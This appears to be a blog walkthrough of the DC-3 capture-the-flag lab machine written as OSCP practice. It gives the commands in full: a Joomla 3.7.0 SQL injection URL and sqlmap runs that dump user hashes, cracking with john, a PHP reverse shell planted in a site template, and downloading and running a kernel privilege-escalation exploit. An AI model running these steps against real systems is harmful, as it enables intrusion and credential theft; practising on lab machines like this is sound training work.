DC-3 Walkthrough — My OSCP Journey Continues (Sorry for the Delay )

“Hack the box. Miss the blog.”
Hey readers!
First of all, I’m sorry for not being consistent with my walkthrough uploads. Life got busy, tools got updated, and my terminal kept yelling at me:
[!] Reminder: You forgot to write the blog again, bro!
But hey, I'm back now — and we’re kicking it off with the DC-3 machine — a classic, fun box that tests your enumeration patience and basic exploitation skills. Let's jump in like we’re breaking into a virtual haunted house .

Target Info:

• Name: DC: 3
• IP Address: 192.168.0.106 (Your IP might vary)
• Goal: Get root 🏴‍☠️
• Tools Used: Nmap, Gobuster, Dirb, Nikto, Burp Suite, Hydra, Wordlists, Reverse Shells
• Difficulty: OSCP-style Easy-Medium

First, An Honest Apology…

Okay, okay… before we dive in:
I owe you a “Sorry!”
I haven’t been uploading my walkthroughs regularly on Medium and honestly — I’ve been neck-deep in buffer overflows, reverse shells, and fighting with stubborn iptables.
But no more excuses!
We’re back at it with DC-3, and I’ll make it worth your time — with jokes, OSCP tips, and a juicy root flag.

Step 1: Nmap Scan

nmap scan

Hmm. Just port 80 open?
DC-3 is playing hard to get.
Let’s open the browser and check it out.

Step 2: Web Recon

Browsing http://192.168.0.106, we get a basic website:

Step 3: Directory Bruteforce

Let’s hit it with Gobuster.

gobuster dir -u http://192.168.0.106 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -t 50

I got

Here we have to check 200 status code i got suspecious like README.txt when i open i got this data

Boom! when i saw first time i think we don’t have any related data But when it comes to JOOMLA!

We can see its a Joomla Site so we will use joomscan.

╰─ joomscan -u 192.168.0.106

Here we got admin pages but when we open we are getting 403 forbidden

There’s nothing here so we will search for exploit for joomla 3.7.0 exploit in searchsploit.

Here I found sql injection exploit with related to 3.7.0 version then i downloaded

then Cat 42033.txt

here we can check the usage

As in the usage we have pasted the link which is in usage, after url.

http://192.168.0.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27

Here we confirmed this site is vulnerable to Sql syntax ,after I run sqlmap tool with that POC payload mentioned in 42033.txt

sqlmap -u “http://192.168.0.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" — risk=3 — level=5 — random-agent — dbs

i got database information. This the zoomlabd seems intersting

then i used this command to retrieve the tables.

sqlmap -u “http://192.168.0.106//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" — risk=3 — level=5 — random-agent -D joomladb — tables

I found users, so i will dump the users with this command to get columns

sqlmap -u “http://192.168.0.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" — risk=3 — level=5 — random-agent -D joomladb -T “#__users” — columns

Boom! then i dumped all usernames and passwords using this command

sqlmap -u “http://192.168.0.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" — risk=3 — level=5 — random-agent -D joomladb -T “#__users” -C “id,name,password” — dump

Finally i got admin credentials. now i want to decode that hash. I create a file hash.txt with hash in it

using echo ‘$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu’ >hash.txt

then i used john tool

john — wordlist=/usr/share/wordlists/rockyou.txt hash.txt — format=bcrypt

Then i got the passwd snoopy

Get DataDefender’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

now we have user name and password for the site so now we need admin login page.

I found some administrator login page while i done scan in joomlascan then i successfully logged in this url(https://medium.com/%3Ca%20class=%22bx%20qo%22%20href=%22/service/https://192.168.0.106/administrator%22%20rel=%22noopener%20ugc%20nofollow%22%20target=%22_blank%22%3E%3Cstrong%20class=%22nj%20ie%22%3Ehttps://192.168.1.10/administrator%3C/strong%3E%3C/a%3E)

After successfully logged in as admin.

Then i search whole page. I got templates page like suspicious. In templates there is index.php where we can upload a php reverse shell.

Now we need a php-reverse-shell so i used revshell website to get revershell payloads

I used this payload with my IP address to gain initial access and i started listing port with nc -nlvp 9001

now to get the shell i went to templates/beez3/index.php where we uploaded php-reverse-shell

http://192.168.0.106/templates/beez3/index.php in firefox

now we got the shell.

then i used uname -a because we want to see the terminal version

its a ubuntu server, so to get more deatils

lsb_release -a (or) cat /etc/os-release

to see the information about OS

its ubuntu 16.04

searchsploit ubuntu 16.04

double fdput is the famous exploit

searchsploit -m linux/local/39772.txt

I copied the exploit to my path

ls

cat 39772.txt

there is a link ,i copied and pasted in the tmp path to download the file in target locaion using wget.

cd tmp

pwd

wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

ls

unzip 39772.zip

ls

cd 39772

ls

as per the usage in the exploit

tar -xvf exploit.tar

cd /ebpf_mapfd_doubleput_exploit

ls

./compile.sh

ls

./doubleput

now i got root previlage

cd / ls

cd root

ls

cat the-flag.txt

I did it. we got flag! Try harder next time.